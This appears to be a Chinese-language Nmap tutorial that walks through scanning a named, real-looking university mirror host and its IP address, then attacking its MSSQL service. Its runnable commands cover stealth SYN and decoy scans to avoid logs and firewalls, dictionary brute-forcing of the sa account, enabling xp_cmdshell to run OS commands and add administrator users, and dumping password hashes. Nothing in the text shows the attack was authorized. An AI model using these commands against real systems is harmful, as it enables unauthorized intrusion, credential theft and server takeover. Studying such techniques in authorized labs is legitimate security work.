目錄
- 檢測相關脆弱性漏洞
- 檢測主機情況、端口狀態、查看操作系統
- 破解數據庫信息,獲得相應權限
- 了解腳本使用
環境
靶機---->>>域名:mirror.dlut.edu.cn
---->>>IP:202.118.65.164
Nmap信息探測
1.掃描特定網站
>>>nmap -sT 202.118.65.164,-sT為采用tcp掃描,但是一般都默認為tcp掃描可以不寫,用nmap 202.118.65.164也是一樣效果。
特點:這是一種最為普通的掃描方法,掃描的速度快,准確性高,對操作者沒有權限上的要求,但是容易被防火牆和IDS(防入侵系統)發現
原理:通過建立TCP的三次握手連接來進行信息的傳遞
>>>探測結果:掃描的總時間為54.12秒,開放的80端口,使用http協議,其中有999個端口被屏蔽,可能開啟了相關的防火牆策略。
2. 特定端口掃描
>>>nmap -sT 202.118.65.164 -p 21,23,3389 -p是指定的端口
>>>探測結果:可查看三個端口的服務,三個端口都被過濾
3. 進行快速查找
>>>nmap -F -sT -v 202.118.65.164
正常情況下我們默認會最多查看1000個開發端口,這時候可以利用快速查看的命令進行掃描
-F:快速掃描100個最有可能開放端口
-v 獲取掃描的信息
同樣查看相關端口狀態及服務,另外很重要的就是可以查看掃描的每個步驟的詳細信息,使用掃描時間短
4. SYN掃描
>>>nmap -sS 202.118.65.164(SYN掃描)
這是一種秘密的掃描方式之一,因為在SYN掃描中Client端和Server端沒有形成3次握手,所以沒有建立一個正常的TCP連接,因此不被防火牆和日志所記錄,一般不會再目標主機上留下任何的痕跡,但是這種掃描是需要root權限(對於windows用戶來說,是沒有root權限這個概念的,root權限是linux的最高權限,對應windows的管理員權限)
>>>主要顯示http和https相關的服務狀態
5.掩飾訪問的主機ip
>>>nmap -sP -D 1.1.1.1 202.118.65.164
-sP為通過ping掃描,-D為偽造地址
利用wirshak可以查看相關包情況,有ICMP包,而且有兩個不同ip對主機進行同樣的訪問,但是不可以進行替換
6. 查看路由與接口
>>>nmap -iflist:查看本地路由與接口
nmap中提供了–iflist選項來查看本地主機的接口信息與路由信息。當遇到無法達到目標主機或想選擇從多塊網卡中某一特定網卡訪問目標主機時,可以查看nmap –iflist中提供的網絡接口信息。和route -n功能一樣
7. nmap掃描生成xml文件
>>>nmap -sT 202.118.65.164 -oX 1.xml
8. 獲取相關mssql數據庫信息的步驟
對每個步驟進行總結,說明這幾個腳本的用處,知道了腳本的用處,自然也就會使用了。
a.腳本介紹
在對靶機進行掃描的時候,可以實用相應的腳本進行攻擊,以此獲得想要的內容,在/usr/share/nmap/scripts下有很多可利用腳本,我就說這次我用到幾個腳本具體作用
>>>ms-sql-info 發現數據庫相關信息(學習里面的腳本可以利用,vim進去查看,里面都有詳細描述,例如下面部分描述)
>>>ms-sql-empty-password.nse 嘗試使用空密碼對Microsoft SQL Server進行身份驗證sysadmin(sa)帳戶。
>>>ms-sql-xp-cmdshell.nse 利用xp_cmdshell,遠程執行系統命令
>>>ms-sql-brute.nse sa弱口令爆破
>>>ms-sql-hasdbaccess 得到sa賬戶和密碼之后需要進行驗證,可以執行這個腳本
>>>ms-sql-dump-hashes.nse 導出mssql中所有的數據庫用戶及密碼hash
b.獲取mssql數據庫信息具體步驟
1) nmap -p1433 --script ms-sql-info 202.118.65.164
>>>利用mysql數據庫1443端口掃描是否發現數據庫相關的信息;發現1443端口被過濾了
2) nmap -p1433 --script ms-sql-brute 202.118.65.164
>>>檢查是否有弱口令和數據庫身份驗證,需要運行以下nmap的腳本,它會執行暴力破解
3)nmap -p1433 --script ms-sql-brute.nse --script-args userdb=/mssql/username.txt,passdb=/mssql/password.txt 202.118.65.164
>>>在前幾步沒有發現數據庫情況下,利用腳本使用字典更快發現數據庫信息,username.txt為字典名字,password.txt為字典密碼,跑腳本看是不是會被命中
4)nmap -p1433 --script ms-sql-empty-password.nse 202.118.65.164
>>>檢查密碼是否為空,使用這個嘗試用空密碼進行破解,看是否可以進入數據庫。
5) nmap -p1433 --script ms-sql-hasdbaccess.nse --script-args mssql.username=sa,password=123456 202.118.65.164
>>>在這假設上面步驟破解了sa帳戶、密碼123456。我們可以使用這個信息來連接數據庫直接執行腳本,需要進一步Nmap有效身份認證。如果我們想知道在哪個數據庫sa帳戶訪問或任何其他賬戶,可以運行ms-sql-hasdbaccess腳本。
6)可以獲取mssql數據庫的表信息,nmap -p1433 --script ms-sql-tables.nse --script-args mssql.username=sa,password=123456 202.118.65.164
7)nmap -p1433 --script ms-sql-xp-cmdshell.nse --script-args mssql.username=sa,password=123456 202.118.65.164
>>>使用ms-sql-xp-cmdshell.nse腳本可以開啟xp_cmdshell,然后就可以進入os命令界面,然后就可以新建用戶,將用戶在加入管理組等操作)
8)nmap --script=ms-sql-dump-hashes.nse --script-args mssql.username=sa,password=123456 202.118.65.164
>>>最后可以利用的一個腳本就是哈希值破解密碼ms-sql-dump-hashes.nse,可以查看其它用戶的用戶信息。